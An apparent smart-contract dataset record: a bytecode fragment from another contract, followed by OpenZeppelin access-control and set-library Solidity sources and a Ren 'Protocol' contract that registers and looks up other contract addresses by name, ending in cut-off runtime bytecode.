050919050565b60006020820190508181036000830152613e1881613968565b9050919050565b60006020820190508181036000830152613e388161398b565b9050919050565b60006020820190508181036000830152613e58816139ae565b9050919050565b60006020820190508181036000830152613e78816139d1565b9050919050565b60006020820190508181036000830152613e98816139f4565b9050919050565b60006020820190508181036000830152613eb881613a17565b9050919050565b60006020820190508181036000830152613ed881613a3a565b9050919050565b60006020820190508181036000830152613ef881613a5d565b9050919050565b60006020820190508181036000830152613f1881613aa3565b9050919050565b60006020820190508181036000830152613f3881613ac6565b9050919050565b60006020820190508181036000830152613f5881613ae9565b9050919050565b60006020820190508181036000830152613f7881613b0c565b9050919050565b60006020820190508181036000830152613f9881613b52565b9050919050565b6000602082019050613fb46000830184613b84565b92915050565b6000604082019050613fcf6000830185613b84565b613fdc6020830184613b84565b9392505050565b6000613fed613ffe565b9050613ff982826143b3565b919050565b6000604051905090565b600067ffffffffffffffff821115614023576140226144ba565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561404f5761404e6144ba565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561407b5761407a6144ba565b5b6140848261450b565b9050602081019050919050565b600067ffffffffffffffff8211156140ac576140ab6144ba565b5b6140b58261450b565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614149826142fe565b9150614154836142fe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156141895761418861442d565b5b828201905092915050565b600061419f82614308565b91506141aa83614308565b92508260ff038211156141c0576141bf61442d565b5b828201905092915050565b60006141d6826142fe565b91506141e1836142fe565b9250826141f1576141f061445c565b5b828204905092915050565b6000614207826142fe565b9150614212836142fe565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561424b5761424a61442d565b5b828202905092915050565b6000614261826142fe565b915061426c836142fe565b92508282101561427f5761427e61442d565b5b828203905092915050565b6000614295826142de565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015614342578082015181840152602081019050614327565b83811115614351576000848401525b50505050565b6000614362826142fe565b915060008214156143765761437561442d565b5b600182039050919050565b6000600282049050600182168061439957607f821691505b602082108114156143ad576143ac61448b565b5b50919050565b6143bc8261450b565b810181811067ffffffffffffffff821117156143db576143da6144ba565b5b80604052505050565b60006143ef826142fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144225761442161442d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156145085760046000803e61450560005161451c565b90505b90565b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243313135353a206275726e20616d6f756e7420657863656564732062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a206275726e2066726f6d20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b600060443d1015614a5857614adb565b614a60613ffe565b60043d036004823e80513d602482011167ffffffffffffffff82111715614a88575050614adb565b808201805167ffffffffffffffff811115614aa65750505050614adb565b80602083010160043d038501811115614ac3575050505050614adb565b614ad2826020018501866143b3565b82955050505050505b90565b614ae78161428a565b8114614af257600080fd5b50565b614afe8161429c565b8114614b0957600080fd5b50565b614b15816142a8565b8114614b2057600080fd5b50565b614b2c816142b2565b8114614b3757600080fd5b50565b614b43816142fe565b8114614b4e57600080fd5b5056fea2646970667358221220fb4b2cf9fc2c5741ea60f8653d6cf9c311b848a53896e4176b4b9449bb474dbe64736f6c63430008040033
[ 21, 5, 4, 12 ]
0xF35EA3A2e9E9E539806eff0043bfdDE609Fe64E9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import {AccessControlEnumerable} from "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; /** The Protocol contract is used to look-up other Ren contracts. */ contract Protocol is AccessControlEnumerable { event LogContractUpdated(string contractName, address indexed contractAddress, string indexed contractNameIndexed); mapping(string => address) internal contractMap; bytes32 public constant CAN_ADD_CONTRACTS = keccak256("CAN_ADD_CONTRACTS"); bytes32 public constant CAN_UPDATE_CONTRACTS = keccak256("CAN_UPDATE_CONTRACTS"); constructor(address adminAddress, address[] memory contractAdders) { _setupRole(AccessControl.DEFAULT_ADMIN_ROLE, adminAddress); _setupRole(CAN_ADD_CONTRACTS, adminAddress); _setupRole(CAN_UPDATE_CONTRACTS, adminAddress); for (uint256 i = 0; i < contractAdders.length; i++) { _setupRole(CAN_ADD_CONTRACTS, contractAdders[i]); } } function addContract(string memory contractName, address contractAddress) public onlyRole(CAN_ADD_CONTRACTS) { require(contractMap[contractName] == address(0x0), "Protocol: contract entry already exists"); contractMap[contractName] = contractAddress; emit LogContractUpdated(contractName, contractAddress, contractName); } function updateContract(string memory contractName, address contractAddress) public onlyRole(CAN_UPDATE_CONTRACTS) { contractMap[contractName] = contractAddress; emit LogContractUpdated(contractName, contractAddress, contractName); } function getContract(string memory contractName) public view returns (address) { return contractMap[contractName]; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80639010d07c1161008c578063a998e68c11610066578063a998e68c14610203578063bf5b60161461022a578063ca15c8731461023d578063d547741f1461025057600080fd5b80639010d07c146101d557806391d14854146101e8578063a217fddf146101fb57600080fd5b806335817773116100c8578063358177731461015d57806336568abe1461018857806341ef63411461019b578063697a60b3146101c257600080fd5b806301ffc9a7146100ef578063248a9ca3146101175780632f2ff15d14610148575b600080fd5b6101026100fd366004610ba5565b610263565b60405190151581526020015b60405180910390f35b61013a610125366004610b3e565b60009081526020819052604090206001015490565b60405190815260200161010e565b61015b610156366004610b57565b61028e565b005b61017061016b366004610bcf565b6102b5565b6040516001600160a01b03909116815260200161010e565b61015b610196366004610b57565b6102e6565b61013a7fe49c047bb55d3ff2214c3b783f2745d7eb19d881f26fd9be3a7ad758e9c8e0ba81565b61015b6101d0366004610c0c565b610308565b6101706101e3366004610b83565b6103cd565b6101026101f6366004610b57565b6103ec565b61013a600081565b61013a7f2aef9b77c90d04dd060c046e9227383cf5160639bb332573032d8617a34e2eb381565b61015b610238366004610c0c565b610415565b61013a61024b366004610b3e565b6104d6565b61015b61025e366004610b57565b6104ed565b60006001600160e01b03198216635a05180f60e01b148061028857506102888261051a565b92915050565b610298828261054f565b60008281526001602052604090206102b09082610505565b505050565b60006002826040516102c79190610c51565b908152604051908190036020019020546001600160a01b031692915050565b6102f08282610575565b60008281526001602052604090206102b090826105ef565b7f2aef9b77c90d04dd060c046e9227383cf5160639bb332573032d8617a34e2eb36103338133610604565b816002846040516103449190610c51565b90815260405190819003602001812080546001600160a01b03939093166001600160a01b03199093169290921790915561037f908490610c51565b6040518091039020826001600160a01b03167fae7f9cd1ac7fecf86fc9ddeb29c59c8f56b09339c1214feadef285d4e5b7b2b3856040516103c09190610ce2565b60405180910390a3505050565b60008281526001602052604081206103e59083610668565b9392505050565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b7fe49c047bb55d3ff2214c3b783f2745d7eb19d881f26fd9be3a7ad758e9c8e0ba6104408133610604565b60006001600160a01b031660028460405161045b9190610c51565b908152604051908190036020019020546001600160a01b0316146103335760405162461bcd60e51b815260206004820152602760248201527f50726f746f636f6c3a20636f6e747261637420656e74727920616c72656164796044820152662065786973747360c81b60648201526084015b60405180910390fd5b600081815260016020526040812061028890610674565b6102f0828261067e565b61050182826106a4565b5050565b60006103e5836001600160a01b038416610728565b60006001600160e01b03198216637965db0b60e01b148061028857506301ffc9a760e01b6001600160e01b0319831614610288565b60008281526020819052604090206001015461056b8133610604565b6102b083836106a4565b6001600160a01b03811633146105e55760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016104cd565b6105018282610777565b60006103e5836001600160a01b0384166107dc565b61060e82826103ec565b61050157610626816001600160a01b031660146108cf565b6106318360206108cf565b604051602001610642929190610c6d565b60408051601f198184030181529082905262461bcd60e51b82526104cd91600401610ce2565b60006103e58383610a6b565b6000610288825490565b60008281526020819052604090206001015461069a8133610604565b6102b08383610777565b6106ae82826103ec565b610501576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556106e43390565b60016001